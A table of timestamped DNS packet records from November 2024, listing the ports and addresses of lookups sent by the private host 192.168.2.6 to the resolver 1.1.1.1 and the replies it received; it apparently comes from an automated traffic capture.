Nov 11, 2024 18:50:58.252417088 CET	57512	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.252752066 CET	56808	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.256707907 CET	53	56095	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.260767937 CET	65526	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.261311054 CET	58104	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.261496067 CET	51326	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.264374971 CET	53	64627	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.264573097 CET	53	57512	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.265142918 CET	53	58841	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.266032934 CET	53	52018	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.266828060 CET	53	62715	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.266836882 CET	53	55247	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.267081022 CET	53	56814	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.268475056 CET	61083	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.268645048 CET	62815	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.268918991 CET	53153	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.268948078 CET	53	56197	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.269992113 CET	53	49999	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.271554947 CET	63916	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.271820068 CET	50176	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.272075891 CET	60300	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.272083998 CET	53	58104	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.272151947 CET	53	59490	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.273137093 CET	53	52797	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.274604082 CET	53	56808	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.275367975 CET	51618	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.276624918 CET	60135	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.276885986 CET	49393	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.277121067 CET	53	62815	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.280313969 CET	53	53153	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.282668114 CET	53	60300	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.284132957 CET	53	63916	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.284547091 CET	53	51618	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.285295010 CET	53	63282	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.286379099 CET	53	49393	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.289562941 CET	53	60135	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.292737007 CET	53	51326	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.294053078 CET	53	65526	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.295135021 CET	63375	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.301151991 CET	53	61083	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.304049015 CET	53	50176	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.329319954 CET	53	63375	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.787137985 CET	64506	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.788686037 CET	57104	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.788836956 CET	51694	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.789309025 CET	55616	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.790327072 CET	54977	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.791728020 CET	54430	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.791728020 CET	58687	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.792277098 CET	49436	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.792846918 CET	60580	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.792846918 CET	64117	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.793204069 CET	58103	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.793771982 CET	65150	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.794197083 CET	58956	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.794801950 CET	62537	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.795169115 CET	51062	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.795607090 CET	61805	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.795789957 CET	62341	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.796120882 CET	59540	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.796406031 CET	55900	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.796690941 CET	55039	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.796818972 CET	53	64506	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.797195911 CET	63954	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.797195911 CET	50626	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.797676086 CET	50995	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.798096895 CET	58401	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.798096895 CET	59892	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.798283100 CET	50153	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.798693895 CET	53761	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.798705101 CET	53	51694	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.798749924 CET	64842	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.798891068 CET	53	55616	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.799475908 CET	53185	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.800148010 CET	53294	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.801450014 CET	51118	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.801615000 CET	53	60580	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.801682949 CET	53	54430	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.802614927 CET	53	51062	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.803637981 CET	53	58956	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.803755999 CET	53	58103	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.805521011 CET	53	65150	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.805917978 CET	53	61805	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.806010008 CET	53	62341	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.807096958 CET	53	55039	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.807652950 CET	53	58401	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.807698011 CET	53	50153	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.807971001 CET	53	63954	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.808358908 CET	53	54977	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.809338093 CET	53	64842	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.809385061 CET	53	53761	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.809393883 CET	53	59892	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.811021090 CET	53	51118	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.814568043 CET	57785	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.814568043 CET	57733	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.814935923 CET	53766	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.815021038 CET	60412	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.819856882 CET	52761	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.820707083 CET	53	57104	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.820996046 CET	56567	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.822714090 CET	53	58687	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.823431015 CET	53	49436	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.823586941 CET	53	64117	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.826874971 CET	53	59540	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.826998949 CET	53	62537	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.827112913 CET	53	55900	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.827348948 CET	52930	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.827497005 CET	53	50995	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.828265905 CET	53	50626	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.829878092 CET	53	52761	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.830642939 CET	53	53185	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.831371069 CET	54587	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.832699060 CET	53	57733	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.832849026 CET	53	53294	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.836689949 CET	53	52930	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.838969946 CET	49796	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.839622974 CET	53	56567	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.846030951 CET	53	60412	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.846342087 CET	53	57785	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.846357107 CET	53	53766	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.862638950 CET	53	54587	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.864741087 CET	62130	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.864975929 CET	56173	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.869326115 CET	64965	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.869326115 CET	60721	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.870069027 CET	53	49796	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.872634888 CET	53	56173	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.874560118 CET	53	62130	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.876512051 CET	63809	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.876513004 CET	52741	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.876725912 CET	60127	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.876727104 CET	49306	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.876889944 CET	63930	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.876889944 CET	54108	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.877022028 CET	63515	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.877088070 CET	55369	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.877088070 CET	60313	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.877976894 CET	61361	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.877978086 CET	58524	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.878283978 CET	53	64965	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.878339052 CET	63248	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.880273104 CET	58352	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.881311893 CET	54987	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.884294033 CET	53	63809	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.886439085 CET	53	63515	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.886609077 CET	53	60313	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.886635065 CET	53	55369	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.886750937 CET	53	54108	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.887742996 CET	53	61361	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.888190985 CET	53	58524	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.888689995 CET	53	63248	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.891330957 CET	53	54987	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.900541067 CET	53	60721	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.907130957 CET	53	52741	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.907183886 CET	53	63930	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.907933950 CET	53	49306	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.908379078 CET	53	60127	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.913486004 CET	53	58352	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.916754961 CET	50273	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.917346001 CET	61461	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.917346001 CET	51949	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.917803049 CET	56429	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.917803049 CET	50368	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.927063942 CET	53	51949	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.928195953 CET	53	61461	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.949049950 CET	53	56429	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.949563980 CET	53	50368	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.950197935 CET	53	50273	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:59.961081028 CET	54552	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:59.971426964 CET	53	54552	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.071304083 CET	54900	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.084450006 CET	62038	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.084577084 CET	63980	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.085345984 CET	61430	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.095124960 CET	53	61430	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.098835945 CET	53	63980	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.100730896 CET	58712	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.104882956 CET	53	54900	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.111995935 CET	53	58712	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.114089966 CET	51698	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.115289927 CET	53	62038	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.115691900 CET	59883	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.115968943 CET	61497	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.119360924 CET	57339	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.120893955 CET	57527	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.123075962 CET	58969	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.124125957 CET	53	51698	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.124305010 CET	53	61497	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.124670982 CET	53	59883	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.125169992 CET	57962	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.126507044 CET	63858	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.127955914 CET	58600	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.128983974 CET	61323	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.129441023 CET	53	57339	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.130000114 CET	55776	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.132046938 CET	53	58969	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.136305094 CET	53	63858	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.137366056 CET	53	57962	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.137979031 CET	56315	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.147658110 CET	53	56315	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.147861958 CET	55795	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.151146889 CET	53	57527	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.159583092 CET	53	58600	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.160013914 CET	53	61323	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.161212921 CET	53	55776	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.162856102 CET	60968	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.162988901 CET	62956	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.164395094 CET	59233	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.167392969 CET	50789	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.168451071 CET	54262	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.173029900 CET	53	60968	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.178723097 CET	62525	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.178896904 CET	55718	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.179511070 CET	53	55795	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.188241005 CET	63939	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.188728094 CET	58744	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.189227104 CET	59313	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.189380884 CET	53	55718	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.189724922 CET	53	62525	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.190125942 CET	51316	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.190788984 CET	55938	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.190943956 CET	61651	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.191096067 CET	63137	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.194062948 CET	53	62956	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.197694063 CET	53	63939	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.198061943 CET	53	59233	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.198272943 CET	53	58744	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.198286057 CET	53	59313	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.198510885 CET	53	50789	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.199098110 CET	62848	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.199601889 CET	53	54262	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.200381041 CET	53	63137	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.201078892 CET	53	51316	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.201725006 CET	53	61651	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.202320099 CET	55747	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.202553034 CET	55141	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.202706099 CET	50733	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.202868938 CET	60830	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.203031063 CET	60663	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.203233957 CET	52076	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.207597017 CET	62561	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.209248066 CET	49225	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.209337950 CET	53	62848	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.209600925 CET	58910	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.209758043 CET	62892	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.210094929 CET	55936	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.211731911 CET	57796	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.211793900 CET	53	55747	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.211895943 CET	49204	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.212321043 CET	53	60663	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.212347031 CET	53	50733	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.212878942 CET	53	55141	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.213747978 CET	53	60830	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.216758013 CET	62530	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.218492031 CET	58495	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.219810009 CET	53	62892	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.219923973 CET	51662	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.221191883 CET	53	55938	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.221307993 CET	53	49204	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.221342087 CET	61938	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.221759081 CET	53	58910	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.222589970 CET	56163	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.222776890 CET	65435	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.222944975 CET	53	57796	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.222986937 CET	51166	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.223011017 CET	62902	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.223531961 CET	64269	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.223581076 CET	51240	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.227929115 CET	53	62530	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.228473902 CET	53	61938	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.229007959 CET	53	55936	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.229156017 CET	63020	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.230017900 CET	58736	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.230739117 CET	58861	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.230739117 CET	61799	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.231937885 CET	51731	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.231966019 CET	53	64269	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.232171059 CET	51442	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:01.232284069 CET	53	56163	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.232625961 CET	53	65435	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.232806921 CET	53	62902	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.234163046 CET	53	51240	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.235997915 CET	53	52076	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.238717079 CET	53	62561	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.240607023 CET	53	63020	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.240617037 CET	53	58736	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.241473913 CET	53	61799	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.242153883 CET	53	49225	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.244816065 CET	53	51442	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.251131058 CET	53	58495	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.251534939 CET	53	51662	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.254096031 CET	53	51166	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.261876106 CET	53	58861	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:01.263149977 CET	53	51731	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.002726078 CET	58038	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.002727032 CET	60157	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.009799957 CET	58475	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.011269093 CET	49416	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.022600889 CET	53	49416	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.022619963 CET	53	58475	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.030677080 CET	62237	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.031539917 CET	51052	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.039778948 CET	53	62237	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.053702116 CET	55135	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.057145119 CET	55931	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.063616037 CET	53	51052	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.066457033 CET	53	55135	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.089165926 CET	53	55931	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.095326900 CET	57187	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.101248980 CET	63426	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.105340958 CET	53	57187	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.111866951 CET	53	63426	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.112459898 CET	50329	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.114927053 CET	63436	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.122937918 CET	53	50329	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.131351948 CET	63908	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.136408091 CET	56227	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.137840986 CET	53017	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.139540911 CET	53	63908	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.140834093 CET	60868	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.143655062 CET	55822	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.146635056 CET	53837	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.147274017 CET	53950	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.149153948 CET	60423	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.154901981 CET	53	55822	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.159693956 CET	53	60423	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.161333084 CET	53	53950	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.165787935 CET	53	53837	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.172283888 CET	53	60868	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.184899092 CET	65266	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.185172081 CET	58967	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.191684008 CET	61988	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.197596073 CET	53	65266	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.198122025 CET	50635	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.199353933 CET	53	58967	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.199666977 CET	53	61988	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.200759888 CET	53	58038	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.208800077 CET	53	50635	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.211982012 CET	53	60157	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.375701904 CET	53	56227	1.1.1.1	192.168.2.6
